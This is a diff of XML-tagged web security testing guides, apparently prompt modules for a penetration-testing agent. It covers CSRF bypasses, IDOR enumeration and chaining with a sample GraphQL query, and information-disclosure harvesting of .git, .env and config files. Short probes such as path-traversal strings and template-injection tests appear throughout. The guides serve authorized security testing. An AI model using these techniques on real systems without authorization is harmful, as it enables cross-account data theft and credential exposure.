- Cross-origin WebSocket hijacking
|
||||
- Steal tokens from WebSocket messages
|
||||
</websocket_csrf>
|
||||
<method_override>
|
||||
- Backends honoring _method or X-HTTP-Method-Override may allow destructive actions through a simple POST.
|
||||
</method_override>
|
||||
|
||||
<graphql_csrf>
|
||||
- GET requests with query parameter
|
||||
- Batched mutations
|
||||
- Subscription abuse
|
||||
- If queries/mutations are allowed via GET or persisted queries, exploit top-level navigation with encoded payloads.
|
||||
- Batched operations may hide mutations within a nominally safe request.
|
||||
</graphql_csrf>
|
||||
|
||||
<api_csrf>
|
||||
- Bearer tokens in URL parameters
|
||||
- API keys in GET requests
|
||||
- Insecure CORS policies
|
||||
</api_csrf>
|
||||
<websocket_csrf>
|
||||
- Browsers send cookies on WebSocket handshake; enforce Origin checks server-side. Without them, cross-site pages can open authenticated sockets and issue actions.
|
||||
</websocket_csrf>
|
||||
</advanced_techniques>
|
||||
|
||||
<bypass_techniques>
|
||||
<token_weaknesses>
|
||||
- Accepting missing/empty tokens; tokens not tied to session, user, or path; tokens reused indefinitely; tokens in GET.
|
||||
- Double-submit cookie without Secure/HttpOnly, or with predictable token sources.
|
||||
</token_weaknesses>
|
||||
|
||||
<content_type_switching>
|
||||
- Switch between form, multipart, and text/plain to reach different code paths and validators.
|
||||
- Use duplicate keys and array shapes to confuse parsers.
|
||||
</content_type_switching>
|
||||
|
||||
<header_manipulation>
|
||||
- Strip Referer via meta refresh or navigate from about:blank; test null Origin acceptance.
|
||||
- Leverage misconfigured CORS to add custom headers that servers mistakenly treat as CSRF tokens.
|
||||
</header_manipulation>
|
||||
</bypass_techniques>
|
||||
|
||||
<special_contexts>
|
||||
<mobile_spa>
|
||||
- Deep links and embedded WebViews may auto-send cookies; trigger actions via crafted intents/links.
|
||||
- SPAs that rely solely on bearer tokens are less CSRF-prone, but hybrid apps mixing cookies and APIs can still be vulnerable.
|
||||
</mobile_spa>
|
||||
|
||||
<integrations>
|
||||
- Webhooks and back-office tools sometimes expose state-changing GETs intended for staff; confirm CSRF defenses there too.
|
||||
</integrations>
|
||||
</special_contexts>
|
||||
|
||||
<chaining_attacks>
|
||||
- CSRF + IDOR: force actions on other users' resources once references are known.
|
||||
- CSRF + Clickjacking: guide user interactions to bypass UI confirmations.
|
||||
- CSRF + OAuth mix-up: bind victim sessions to unintended clients.
|
||||
</chaining_attacks>
|
||||
|
||||
<validation>
|
||||
To confirm CSRF:
|
||||
1. Create working proof-of-concept
|
||||
2. Test across browsers
|
||||
3. Verify action completes successfully
|
||||
4. No user interaction required (beyond visiting page)
|
||||
5. Works with active session
|
||||
1. Demonstrate a cross-origin page that triggers a state change without user interaction beyond visiting.
|
||||
2. Show that removing the anti-CSRF control (token/header) is accepted, or that Origin/Referer are not verified.
|
||||
3. Prove behavior across at least two browsers or contexts (top-level nav vs XHR/fetch).
|
||||
4. Provide before/after state evidence for the same account.
|
||||
5. If defenses exist, show the exact condition under which they are bypassed (content-type, method override, null Origin).
|
||||
</validation>
|
||||
|
||||
<false_positives>
|
||||
NOT CSRF if:
|
||||
- Requires valid CSRF token
|
||||
- SameSite cookies properly configured
|
||||
- Proper origin/referer validation
|
||||
- User interaction required
|
||||
- Only affects non-sensitive actions
|
||||
- Token verification present and required; Origin/Referer enforced consistently.
|
||||
- No cookies sent on cross-site requests (SameSite=Strict, no HTTP auth) and no state change via simple requests.
|
||||
- Only idempotent, non-sensitive operations affected.
|
||||
</false_positives>
|
||||
|
||||
<impact>
|
||||
- Account takeover
|
||||
- Financial loss
|
||||
- Data modification/deletion
|
||||
- Privilege escalation
|
||||
- Privacy violations
|
||||
- Account state changes (email/password/MFA), session hijacking via login CSRF, financial operations, administrative actions.
|
||||
- Durable authorization changes (role/permission flips, key rotations) and data loss.
|
||||
</impact>
|
||||
|
||||
<pro_tips>
|
||||
1. Check all state-changing operations
|
||||
2. Test file upload endpoints
|
||||
3. Look for token disclosure in URLs
|
||||
4. Chain with XSS for token theft
|
||||
5. Check mobile API endpoints
|
||||
6. Test CORS configurations
|
||||
7. Verify SameSite cookie settings
|
||||
8. Look for method override possibilities
|
||||
9. Test WebSocket endpoints
|
||||
10. Document clear attack scenario
|
||||
1. Prefer preflightless vectors (form-encoded, multipart, text/plain) and top-level GET if available.
|
||||
2. Test login/logout, OAuth connect/disconnect, and account linking first.
|
||||
3. Validate Origin/Referer behavior explicitly; do not assume frameworks enforce them.
|
||||
4. Toggle SameSite and observe differences across navigation vs XHR.
|
||||
5. For GraphQL, attempt GET queries or persisted queries that carry mutations.
|
||||
6. Always try method overrides and parser differentials.
|
||||
7. Combine with clickjacking when visual confirmations block CSRF.
|
||||
</pro_tips>
|
||||
|
||||
<remember>Modern CSRF requires creativity - look for token leaks, chain with other vulnerabilities, and focus on high-impact actions. SameSite cookies are not always properly configured.</remember>
|
||||
<remember>CSRF is eliminated only when state changes require a secret the attacker cannot supply and the server verifies the caller’s origin. Tokens and Origin checks must hold across methods, content-types, and transports.</remember>
|
||||
</csrf_vulnerability_guide>
|
||||
|
||||
@@ -1,164 +1,195 @@
|
||||
<idor_vulnerability_guide>
|
||||
<title>INSECURE DIRECT OBJECT REFERENCE (IDOR) - ELITE TECHNIQUES</title>
|
||||
<title>INSECURE DIRECT OBJECT REFERENCE (IDOR)</title>
|
||||
|
||||
<critical>IDORs are among the HIGHEST IMPACT vulnerabilities - direct unauthorized data access and account takeover.</critical>
|
||||
<critical>Object- and function-level authorization failures (BOLA/IDOR) routinely lead to cross-account data exposure and unauthorized state changes across APIs, web, mobile, and microservices. Treat every object reference as untrusted until proven bound to the caller.</critical>
|
||||
|
||||
<scope>
|
||||
- Horizontal access: access another subject's objects of the same type
|
||||
- Vertical access: access privileged objects/actions (admin-only, staff-only)
|
||||
- Cross-tenant access: break isolation boundaries in multi-tenant systems
|
||||
- Cross-service access: token or context accepted by the wrong service
|
||||
</scope>
|
||||
|
||||
<methodology>
|
||||
1. Build a Subject × Object × Action matrix (who can do what to which resource).
|
||||
2. For each resource type, obtain at least two principals: owner and non-owner (plus admin/staff if applicable). Capture at least one valid object ID per principal.
|
||||
3. Exercise every action (R/W/D/Export) while swapping IDs, tokens, tenants, and channels (web, mobile, API, GraphQL, WebSocket, gRPC).
|
||||
4. Track consistency: the same rule must hold regardless of transport, content-type, serialization, or gateway.
|
||||
</methodology>
|
||||
|
||||
<discovery_techniques>
|
||||
<parameter_analysis>
|
||||
- Numeric IDs: user_id=123, account=456
|
||||
- UUID/GUID patterns: id=550e8400-e29b-41d4-a716-446655440000
|
||||
- Encoded IDs: Base64, hex, custom encoding
|
||||
- Composite IDs: user-org-123-456, ACCT:2024:00123
|
||||
- Hash-based IDs: Check if predictable (MD5 of sequential numbers)
|
||||
- Object references in: URLs, POST bodies, headers, cookies, JWT tokens
|
||||
- Object references appear in: paths, query params, JSON bodies, form-data, headers, cookies, JWT claims, GraphQL arguments, WebSocket messages, gRPC messages
|
||||
- Identifier forms: integers, UUID/ULID/CUID, Snowflake, slugs, composite keys (e.g., {orgId}:{userId}), opaque tokens, base64/hex-encoded blobs
|
||||
- Relationship references: parentId, ownerId, accountId, tenantId, organization, teamId, projectId, subscriptionId
|
||||
- Expansion/projection knobs: fields, include, expand, projection, with, select, populate (often bypass authorization in resolvers or serializers)
|
||||
- Pagination/cursors: page[offset], page[limit], cursor, nextPageToken (often reveal or accept cross-tenant/state)
|
||||
</parameter_analysis>
|
||||
|
||||
<advanced_enumeration>
|
||||
- Boundary values: 0, -1, null, empty string, max int
|
||||
- Different formats: {"id":123} vs {"id":"123"}
|
||||
- ID patterns: increment, decrement, similar patterns
|
||||
- Wildcard testing: *, %, _, all
|
||||
- Array notation: id[]=123&id[]=456
|
||||
- Alternate types: {% raw %}{"id":123}{% endraw} vs {% raw %}{"id":"123"}{% endraw}, arrays vs scalars, objects vs scalars, null/empty/0/-1/MAX_INT, scientific notation, overflows, unknown attributes retained by backend
|
||||
- Duplicate keys/parameter pollution: id=1&id=2, JSON duplicate keys {% raw %}{"id":1,"id":2}{% endraw} (parser precedence differences)
|
||||
- Case/aliasing: userId vs userid vs USER_ID; alt names like resourceId, targetId, account
|
||||
- Path traversal-like in virtual file systems: /files/user_123/../../user_456/report.csv
|
||||
- Directory/list endpoints as seeders: search/list/suggest/export often leak object IDs for secondary exploitation
|
||||
</advanced_enumeration>
|
||||
</discovery_techniques>
|
||||
|
||||
<high_value_targets>
|
||||
- User profiles and PII
|
||||
- Financial records/transactions
|
||||
- Private messages/communications
|
||||
- Medical records
|
||||
- API keys/secrets
|
||||
- Internal documents
|
||||
- Admin functions
|
||||
- Export endpoints
|
||||
- Backup files
|
||||
- Debug information
|
||||
- Exports/backups/reporting endpoints (CSV/PDF/ZIP)
|
||||
- Messaging/mailbox/notifications, audit logs, activity feeds
|
||||
- Billing: invoices, payment methods, transactions, credits
|
||||
- Healthcare/education records, HR documents, PII/PHI/PCI
|
||||
- Admin/staff tools, impersonation/session management
|
||||
- File/object storage keys (S3/GCS signed URLs, share links)
|
||||
- Background jobs: import/export job IDs, task results
|
||||
- Multi-tenant resources: organizations, workspaces, projects
|
||||
</high_value_targets>
|
||||
|
||||
<exploitation_techniques>
|
||||
<direct_access>
|
||||
Simple increment/decrement:
|
||||
/api/user/123 → /api/user/124
|
||||
/download?file=report_2024_01.pdf → report_2024_02.pdf
|
||||
</direct_access>
|
||||
<horizontal_vertical>
|
||||
- Swap object IDs between principals using the same token to probe horizontal access; then repeat with lower-privilege tokens to probe vertical access
|
||||
- Target partial updates (PATCH, JSON Patch/JSON Merge Patch) for silent unauthorized modifications
|
||||
</horizontal_vertical>
|
||||
|
||||
<mass_enumeration>
|
||||
Automate ID ranges:
|
||||
for i in range(1, 10000):
|
||||
/api/user/{i}/data
|
||||
</mass_enumeration>
|
||||
<bulk_and_batch>
|
||||
- Batch endpoints (bulk update/delete) often validate only the first element; include cross-tenant IDs mid-array
|
||||
- CSV/JSON imports referencing foreign object IDs (ownerId, orgId) may bypass create-time checks
|
||||
</bulk_and_batch>
|
||||
|
||||
<type_confusion>
|
||||
- String where int expected: "123" vs 123
|
||||
- Array where single value expected: [123] vs 123
|
||||
- Object injection: {"id": {"$ne": null}}
|
||||
</type_confusion>
|
||||
<secondary_idor>
|
||||
- Use list/search endpoints, notifications, emails, webhooks, and client logs to collect valid IDs, then fetch or mutate those objects directly
|
||||
- Pagination/cursor manipulation to skip filters and pull other users' pages
|
||||
</secondary_idor>
|
||||
|
||||
<job_task_objects>
|
||||
- Access job/task IDs from one user to retrieve results for another (export/{jobId}/download, reports/{taskId})
|
||||
- Cancel/approve someone else's jobs by referencing their task IDs
|
||||
</job_task_objects>
|
||||
|
||||
<file_object_storage>
|
||||
- Direct object paths or weakly scoped signed URLs; attempt key prefix changes, content-disposition tricks, or stale signatures reused across tenants
|
||||
- Replace share tokens with tokens from other tenants; try case/URL-encoding variations
|
||||
</file_object_storage>
|
||||
</exploitation_techniques>
|
||||
|
||||
<advanced_techniques>
|
||||
<uuid_prediction>
|
||||
- Time-based UUIDs (version 1): predictable timestamps
|
||||
- Weak randomness in version 4
|
||||
- Sequential UUID generation
|
||||
</uuid_prediction>
|
||||
<graphql>
|
||||
- Enforce resolver-level checks: do not rely on a top-level gate. Verify field and edge resolvers bind the resource to the caller on every hop
|
||||
- Abuse batching/aliases to retrieve multiple users' nodes in one request and compare responses
|
||||
- Global node patterns (Relay): decode base64 IDs and swap raw IDs; test {% raw %}node(id: "...base64..."){...}{% endraw %}
|
||||
- Overfetching via fragments on privileged types; verify hidden fields cannot be queried by unprivileged callers
|
||||
- Example:
|
||||
{% raw %}
|
||||
query IDOR {
|
||||
me { id }
|
||||
u1: user(id: "VXNlcjo0NTY=") { email billing { last4 } }
|
||||
u2: node(id: "VXNlcjo0NTc=") { ... on User { email } }
|
||||
}
|
||||
{% endraw %}
|
||||
</graphql>
|
||||
|
||||
<blind_idor>
|
||||
- Side channel: response time, size differences
|
||||
- Error message variations
|
||||
- Boolean-based: exists vs not exists
|
||||
</blind_idor>
|
||||
<microservices_gateways>
|
||||
- Token confusion: a token scoped for Service A accepted by Service B due to shared JWT verification but missing audience/claims checks
|
||||
- Trust on headers: reverse proxies or API gateways injecting/trusting headers like X-User-Id, X-Organization-Id; try overriding or removing them
|
||||
- Context loss: async consumers (queues, workers) re-process requests without re-checking authorization
|
||||
</microservices_gateways>
|
||||
|
||||
<secondary_idor>
|
||||
First get list of IDs, then access:
|
||||
/api/users → [123, 456, 789]
|
||||
/api/user/789/private-data
|
||||
</secondary_idor>
|
||||
<multi_tenant>
|
||||
- Probe tenant scoping through headers, subdomains, and path params (e.g., X-Tenant-ID, org slug). Try mixing org of token with resource from another org
|
||||
- Test cross-tenant reports/analytics rollups and admin views which aggregate multiple tenants
|
||||
</multi_tenant>
|
||||
|
||||
<uuid_and_opaque_ids>
|
||||
- UUID/ULID are not authorization: acquire valid IDs from logs, exports, JS bundles, analytics endpoints, emails, or public activity, then test ownership binding
|
||||
- Time-based IDs (UUIDv1, ULID) may be guessable within a window; combine with leakage sources for targeted access
|
||||
</uuid_and_opaque_ids>
|
||||
|
||||
<blind_channels>
|
||||
- Use differential responses (status, size, ETag, timing) to detect existence; error shape often differs for owned vs foreign objects
|
||||
- HEAD/OPTIONS, conditional requests (If-None-Match/If-Modified-Since) can confirm existence without full content
|
||||
</blind_channels>
|
||||
</advanced_techniques>
|
||||
|
||||
<bypass_techniques>
|
||||
<parser_and_transport>
|
||||
- Content-type switching: application/json ↔ application/x-www-form-urlencoded ↔ multipart/form-data; some paths enforce checks per parser
|
||||
- Method tunneling: X-HTTP-Method-Override, _method=PATCH; or using GET on endpoints incorrectly accepting state changes
|
||||
- JSON duplicate keys/array injection to bypass naive validators
|
||||
</parser_and_transport>
|
||||
|
||||
<parameter_pollution>
|
||||
?id=123&id=456 (takes last or first?)
|
||||
?user_id=victim&user_id=attacker
|
||||
- Duplicate parameters in query/body to influence server-side precedence (id=123&id=456); try both orderings
|
||||
- Mix case/alias param names so gateway and backend disagree (userId vs userid)
|
||||
</parameter_pollution>
|
||||
|
||||
<encoding_tricks>
|
||||
- URL encode: %31%32%33
|
||||
- Double encoding: %25%33%31
|
||||
- Unicode: \u0031\u0032\u0033
|
||||
</encoding_tricks>
|
||||
<cache_and_gateway>
|
||||
- CDN/proxy key confusion: responses keyed without Authorization or tenant headers expose cached objects to other users; manipulate Vary and Accept
|
||||
- Redirect chains and 304/206 behaviors can leak content across tenants
|
||||
</cache_and_gateway>
|
||||
|
||||
<case_variation>
|
||||
userId vs userid vs USERID vs UserId
|
||||
</case_variation>
|
||||
|
||||
<format_switching>
|
||||
/api/user.json?id=123
|
||||
/api/user.xml?id=123
|
||||
/api/user/123.json vs /api/user/123
|
||||
</format_switching>
|
||||
<race_windows>
|
||||
- Time-of-check vs time-of-use: change the referenced ID between validation and execution using parallel requests
|
||||
</race_windows>
|
||||
</bypass_techniques>
|
||||
|
||||
<special_contexts>
|
||||
<graphql_idor>
|
||||
Query batching and alias abuse:
|
||||
query { u1: user(id: 123) { data } u2: user(id: 456) { data } }
|
||||
</graphql_idor>
|
||||
<websocket>
|
||||
- Authorization per-subscription: ensure channel/topic names cannot be guessed (user_{id}, org_{id}); subscribe/publish checks must run server-side, not only at handshake
|
||||
- Try sending messages with target user IDs after subscribing to own channels
|
||||
</websocket>
|
||||
|
||||
<websocket_idor>
|
||||
Subscribe to other users' channels:
|
||||
{"subscribe": "user_456_notifications"}
|
||||
</websocket_idor>
|
||||
<grpc>
|
||||
- Direct protobuf fields (owner_id, tenant_id) often bypass HTTP-layer middleware; validate references via grpcurl with tokens from different principals
|
||||
</grpc>
|
||||
|
||||
<file_path_idor>
|
||||
../../../other_user/private.pdf
|
||||
/files/user_123/../../user_456/data.csv
|
||||
</file_path_idor>
|
||||
<integrations>
|
||||
- Webhooks/callbacks referencing foreign objects (e.g., invoice_id) processed without verifying ownership
|
||||
- Third-party importers syncing data into wrong tenant due to missing tenant binding
|
||||
</integrations>
|
||||
</special_contexts>
|
||||
|
||||
<chaining_attacks>
|
||||
- IDOR + XSS: Access and weaponize other users' data
|
||||
- IDOR + CSRF: Force actions on discovered objects
|
||||
- IDOR + SQLi: Extract all IDs then access
|
||||
- IDOR + CSRF: force victims to trigger unauthorized changes on objects you discovered
|
||||
- IDOR + Stored XSS: pivot into other users' sessions through data you gained access to
|
||||
- IDOR + SSRF: exfiltrate internal IDs, then access their corresponding resources
|
||||
- IDOR + Race: bypass spot checks with simultaneous requests
|
||||
</chaining_attacks>
|
||||
|
||||
<validation>
|
||||
To confirm IDOR:
|
||||
1. Access data/function without authorization
|
||||
2. Demonstrate data belongs to another user
|
||||
3. Show consistent access pattern
|
||||
4. Prove it's not intended functionality
|
||||
5. Document security impact
|
||||
1. Demonstrate access to an object not owned by the caller (content or metadata).
|
||||
2. Show the same request fails with appropriately enforced authorization when corrected.
|
||||
3. Prove cross-channel consistency: same unauthorized access via at least two transports (e.g., REST and GraphQL).
|
||||
4. Document tenant boundary violations (if applicable).
|
||||
5. Provide reproducible steps and evidence (requests/responses for owner vs non-owner).
|
||||
</validation>
|
||||
|
||||
<false_positives>
|
||||
NOT IDOR if:
|
||||
- Public data by design
|
||||
- Proper authorization checks
|
||||
- Only affects own resources
|
||||
- Rate limiting prevents exploitation
|
||||
- Data is sanitized/limited
|
||||
- Public/anonymous resources by design
|
||||
- Soft-privatized data where content is already public
|
||||
- Idempotent metadata lookups that do not reveal sensitive content
|
||||
- Correct row-level checks enforced across all channels
|
||||
</false_positives>
|
||||
|
||||
<impact>
|
||||
- Personal data exposure
|
||||
- Financial information theft
|
||||
- Account takeover
|
||||
- Business data leak
|
||||
- Compliance violations (GDPR, HIPAA)
|
||||
- Cross-account data exposure (PII/PHI/PCI)
|
||||
- Unauthorized state changes (transfers, role changes, cancellations)
|
||||
- Cross-tenant data leaks violating contractual and regulatory boundaries
|
||||
- Regulatory risk (GDPR/HIPAA/PCI), fraud, reputational damage
|
||||
</impact>
|
||||
|
||||
<pro_tips>
|
||||
1. Test all ID parameters systematically
|
||||
2. Look for patterns in IDs
|
||||
3. Check export/download functions
|
||||
4. Test different HTTP methods
|
||||
5. Monitor for blind IDOR via timing
|
||||
6. Check mobile APIs separately
|
||||
7. Look for backup/debug endpoints
|
||||
8. Test file path traversal
|
||||
9. Automate enumeration carefully
|
||||
10. Chain with other vulnerabilities
|
||||
1. Always test list/search/export endpoints first; they are rich ID seeders.
|
||||
2. Build a reusable ID corpus from logs, notifications, emails, and client bundles.
|
||||
3. Toggle content-types and transports; authorization middleware often differs per stack.
|
||||
4. In GraphQL, validate at resolver boundaries; never trust parent auth to cover children.
|
||||
5. In multi-tenant apps, vary org headers, subdomains, and path params independently.
|
||||
6. Check batch/bulk operations and background job endpoints; they frequently skip per-item checks.
|
||||
7. Inspect gateways for header trust and cache key configuration.
|
||||
8. Treat UUIDs as untrusted; obtain them via OSINT/leaks and test binding.
|
||||
9. Use timing/size/ETag differentials for blind confirmation when content is masked.
|
||||
10. Prove impact with precise before/after diffs and role-separated evidence.
|
||||
</pro_tips>
|
||||
|
||||
<remember>IDORs are about broken access control, not just guessable IDs. Even GUIDs can be vulnerable if disclosed elsewhere. Focus on high-impact data access.</remember>
|
||||
<remember>Authorization must bind subject, action, and specific object on every request, regardless of identifier opacity or transport. If the binding is missing anywhere, the system is vulnerable.</remember>
|
||||
</idor_vulnerability_guide>
|
||||
|
||||
@@ -0,0 +1,222 @@
|
||||
<information_disclosure_vulnerability_guide>
|
||||
<title>INFORMATION DISCLOSURE</title>
|
||||
|
||||
<critical>Information leaks accelerate exploitation by revealing code, configuration, identifiers, and trust boundaries. Treat every response byte, artifact, and header as potential intelligence. Minimize, normalize, and scope disclosure across all channels.</critical>
|
||||
|
||||
<scope>
|
||||
- Errors and exception pages: stack traces, file paths, SQL, framework versions
|
||||
- Debug/dev tooling reachable in prod: debuggers, profilers, feature flags
|
||||
- DVCS/build artifacts and temp/backup files: .git, .svn, .hg, .bak, .swp, archives
|
||||
- Configuration and secrets: .env, phpinfo, appsettings.json, Docker/K8s manifests
|
||||
- API schemas and introspection: OpenAPI/Swagger, GraphQL introspection, gRPC reflection
|
||||
- Client bundles and source maps: webpack/Vite maps, embedded env, __NEXT_DATA__, static JSON
|
||||
- Headers and response metadata: Server/X-Powered-By, tracing, ETag, Accept-Ranges, Server-Timing
|
||||
- Storage/export surfaces: public buckets, signed URLs, export/download endpoints
|
||||
- Observability/admin: /metrics, /actuator, /health, tracing UIs (Jaeger, Zipkin), Kibana, Admin UIs
|
||||
- Directory listings and indexing: autoindex, sitemap/robots revealing hidden routes
|
||||
- Cross-origin signals: CORS misconfig, Referrer-Policy leakage, Expose-Headers
|
||||
- File/document metadata: EXIF, PDF/Office properties
|
||||
</scope>
|
||||
|
||||
<methodology>
|
||||
1. Build a channel map: Web, API, GraphQL, WebSocket, gRPC, mobile, background jobs, exports, CDN.
|
||||
2. Establish a diff harness: compare owner vs non-owner vs anonymous across transports; normalize on status/body length/ETag/headers.
|
||||
3. Trigger controlled failures: send malformed types, boundary values, missing params, and alternate content-types to elicit error detail and stack traces.
|
||||
4. Enumerate artifacts: DVCS folders, backups, config endpoints, source maps, client bundles, API docs, observability routes.
|
||||
5. Correlate disclosures to impact: versions→CVE, paths→LFI/RCE, keys→cloud access, schemas→auth bypass, IDs→IDOR.
|
||||
</methodology>
|
||||
|
||||
<surfaces>
|
||||
<errors_and_exceptions>
|
||||
- SQL/ORM errors: reveal table/column names, DBMS, query fragments
|
||||
- Stack traces: absolute paths, class/method names, framework versions, developer emails
|
||||
- Template engine probes: {% raw %}{{7*7}}, ${7*7}{% endraw %} identify templating stack and code paths
|
||||
- JSON/XML parsers: type mismatches and coercion logs leak internal model names
|
||||
</errors_and_exceptions>
|
||||
|
||||
<debug_and_env_modes>
|
||||
- Debug pages and flags: Django DEBUG, Laravel Telescope, Rails error pages, Flask/Werkzeug debugger, ASP.NET customErrors Off
|
||||
- Profiler endpoints: /debug/pprof, /actuator, /_profiler, custom /debug APIs
|
||||
- Feature/config toggles exposed in JS or headers; admin/staff banners in HTML
|
||||
</debug_and_env_modes>
|
||||
|
||||
<dvcs_and_backups>
|
||||
- DVCS: /.git/ (HEAD, config, index, objects), .svn/entries, .hg/store → reconstruct source and secrets
|
||||
- Backups/temp: .bak/.old/~/.swp/.swo/.tmp/.orig, db dumps, zipped deployments under /backup/, /old/, /archive/
|
||||
- Build artifacts: dist artifacts containing .map, env prints, internal URLs
|
||||
</dvcs_and_backups>
|
||||
|
||||
<configs_and_secrets>
|
||||
- Classic: web.config, appsettings.json, settings.py, config.php, phpinfo.php
|
||||
- Containers/cloud: Dockerfile, docker-compose.yml, Kubernetes manifests, service account tokens, cloud credentials files
|
||||
- Credentials and connection strings; internal hosts and ports; JWT secrets
|
||||
</configs_and_secrets>
|
||||
|
||||
<api_schemas_and_introspection>
|
||||
- OpenAPI/Swagger: /swagger, /api-docs, /openapi.json — enumerate hidden/privileged operations
|
||||
- GraphQL: introspection enabled; field suggestions; error disclosure via invalid fields; persisted queries catalogs
|
||||
- gRPC: server reflection exposing services/messages; proto download via reflection
|
||||
</api_schemas_and_introspection>
|
||||
|
||||
<client_bundles_and_maps>
|
||||
- Source maps (.map) reveal original sources, comments, and internal logic
|
||||
- Client env leakage: NEXT_PUBLIC_/VITE_/REACT_APP_ variables; runtime config; embedded secrets accidentally shipped
|
||||
- Next.js data: __NEXT_DATA__ and pre-fetched JSON under /_next/data can include internal IDs, flags, or PII
|
||||
- Static JSON/CSV feeds used by the UI that bypass server-side auth filtering
|
||||
</client_bundles_and_maps>
|
||||
|
||||
<headers_and_response_metadata>
|
||||
- Fingerprinting: Server, X-Powered-By, X-AspNet-Version
|
||||
- Tracing: X-Request-Id, traceparent, Server-Timing, debug headers
|
||||
- Caching oracles: ETag/If-None-Match, Last-Modified/If-Modified-Since, Accept-Ranges/Range (partial content reveals)
|
||||
- Content sniffing and MIME metadata that implies backend components
|
||||
</headers_and_response_metadata>
|
||||
|
||||
<storage_and_exports>
|
||||
- Public object storage: S3/GCS/Azure blobs with world-readable ACLs or guessable keys
|
||||
- Signed URLs: long-lived, weakly scoped, re-usable across tenants; metadata leaks in headers
|
||||
- Export/report endpoints returning foreign data sets or unfiltered fields
|
||||
</storage_and_exports>
|
||||
|
||||
<observability_and_admin>
|
||||
- Metrics: Prometheus /metrics exposing internal hostnames, process args, SQL, credentials by mistake
|
||||
- Health/config: /actuator/health, /actuator/env, Spring Boot info endpoints
|
||||
- Tracing UIs and dashboards: Jaeger/Zipkin/Kibana/Grafana exposed without auth
|
||||
</observability_and_admin>
|
||||
|
||||
<directory_and_indexing>
|
||||
- Autoindex on /uploads/, /files/, /logs/, /tmp/, /assets/
|
||||
- Robots/sitemap reveal hidden paths, admin panels, export feeds
|
||||
</directory_and_indexing>
|
||||
|
||||
<cross_origin_signals>
|
||||
- Referrer leakage: missing/referrer policy leading to path/query/token leaks to third parties
|
||||
- CORS: overly permissive Access-Control-Allow-Origin/Expose-Headers revealing data cross-origin; preflight error shapes
|
||||
</cross_origin_signals>
|
||||
|
||||
<file_metadata>
|
||||
- EXIF, PDF/Office properties: authors, paths, software versions, timestamps, embedded objects
|
||||
</file_metadata>
|
||||
</surfaces>
|
||||
|
||||
<advanced_techniques>
|
||||
<differential_oracles>
|
||||
- Compare owner vs non-owner vs anonymous for the same resource and track: status, length, ETag, Last-Modified, Cache-Control
|
||||
- HEAD vs GET: header-only differences can confirm existence or type without content
|
||||
- Conditional requests: 304 vs 200 behaviors leak existence/state; binary search content size via Range requests
|
||||
</differential_oracles>
|
||||
|
||||
<cdn_and_cache_keys>
|
||||
- Identity-agnostic caches: CDN/proxy keys missing Authorization/tenant headers → cross-user cached responses
|
||||
- Vary misconfiguration: user-agent/language vary without auth vary leaks alternate content
|
||||
- 206 partial content + stale caches leak object fragments
|
||||
</cdn_and_cache_keys>
|
||||
|
||||
<cross_channel_mirroring>
|
||||
- Inconsistent hardening between REST, GraphQL, WebSocket, and gRPC; one channel leaks schema or fields hidden in others
|
||||
- SSR vs CSR: server-rendered pages omit fields while JSON API includes them; compare responses
|
||||
</cross_channel_mirroring>
|
||||
|
||||
<introspection_and_reflection>
|
||||
- GraphQL: disabled introspection still leaks via errors, fragment suggestions, and client bundles containing schema
|
||||
- gRPC reflection: list services/messages and infer internal resource names and flows
|
||||
</introspection_and_reflection>
|
||||
|
||||
<cloud_specific>
|
||||
- S3/GCS/Azure: anonymous listing disabled but object reads allowed; metadata headers leak owner/project identifiers
|
||||
- Pre-signed URLs: audience not bound; observe key scope and lifetime in URL params
|
||||
</cloud_specific>
|
||||
</advanced_techniques>
|
||||
|
||||
<usefulness_assessment>
|
||||
- Actionable signals:
|
||||
- Secrets/keys/tokens that grant new access (DB creds, cloud keys, JWT signing/refresh, signed URL secrets)
|
||||
- Versions with a reachable, unpatched CVE on an exposed path
|
||||
- Cross-tenant identifiers/data or per-user fields that differ by principal
|
||||
- File paths, service hosts, or internal URLs that enable LFI/SSRF/RCE pivots
|
||||
- Cache/CDN differentials (Vary/ETag/Range) that expose other users' content
|
||||
- Schema/introspection revealing hidden operations or fields that return sensitive data
|
||||
- Likely benign or intended:
|
||||
- Public docs or non-sensitive metadata explicitly documented as public
|
||||
- Generic server names without precise versions or exploit path
|
||||
- Redacted/sanitized fields with stable length/ETag across principals
|
||||
- Per-user data visible only to the owner and consistent with privacy policy
|
||||
</usefulness_assessment>
|
||||
|
||||
<triage_rubric>
|
||||
- Critical: Credentials/keys; signed URL secrets; config dumps; unrestricted admin/observability panels
|
||||
- High: Versions with reachable CVEs; cross-tenant data; caches serving cross-user content; schema enabling auth bypass
|
||||
- Medium: Internal paths/hosts enabling LFI/SSRF pivots; source maps revealing hidden endpoints/IDs
|
||||
- Low: Generic headers, marketing versions, intended documentation without exploit path
|
||||
- Guidance: Always attempt a minimal, reversible proof for Critical/High; if no safe chain exists, document precise blocker and downgrade
|
||||
</triage_rubric>
|
||||
|
||||
<escalation_playbook>
|
||||
- If DVCS/backups/configs → extract secrets; test least-privileged read; rotate after coordinated disclosure
|
||||
- If versions → map to CVE; verify exposure; execute minimal PoC under strict scope
|
||||
- If schema/introspection → call hidden/privileged fields with non-owner tokens; confirm auth gaps
|
||||
- If source maps/client JSON → mine endpoints/IDs/flags; pivot to IDOR/listing; validate filtering
|
||||
- If cache/CDN keys → demonstrate cross-user cache leak via Vary/ETag/Range; escalate to broken access control
|
||||
- If paths/hosts → target LFI/SSRF with harmless reads (e.g., /etc/hostname, metadata headers); avoid destructive actions
|
||||
- If observability/admin → enumerate read-only info first; prove data scope breach; avoid write/exec operations
|
||||
</escalation_playbook>
|
||||
|
||||
<exploitation_chains>
|
||||
<credential_extraction>
|
||||
- DVCS/config dumps exposing secrets (DB, SMTP, JWT, cloud)
|
||||
- Keys → cloud control plane access; rotate and verify scope
|
||||
</credential_extraction>
|
||||
|
||||
<version_to_cve>
|
||||
1. Derive precise component versions from headers/errors/bundles.
|
||||
2. Map to known CVEs and confirm reachability.
|
||||
3. Execute minimal proof targeting disclosed component.
|
||||
</version_to_cve>
|
||||
|
||||
<path_disclosure_to_lfi>
|
||||
1. Paths from stack traces/templates reveal filesystem layout.
|
||||
2. Use LFI/traversal to fetch config/keys.
|
||||
3. Prove controlled access without altering state.
|
||||
</path_disclosure_to_lfi>
|
||||
|
||||
<schema_to_auth_bypass>
|
||||
1. Schema reveals hidden fields/endpoints.
|
||||
2. Attempt requests with those fields; confirm missing authorization or field filtering.
|
||||
</schema_to_auth_bypass>
|
||||
</exploitation_chains>
|
||||
|
||||
<validation>
|
||||
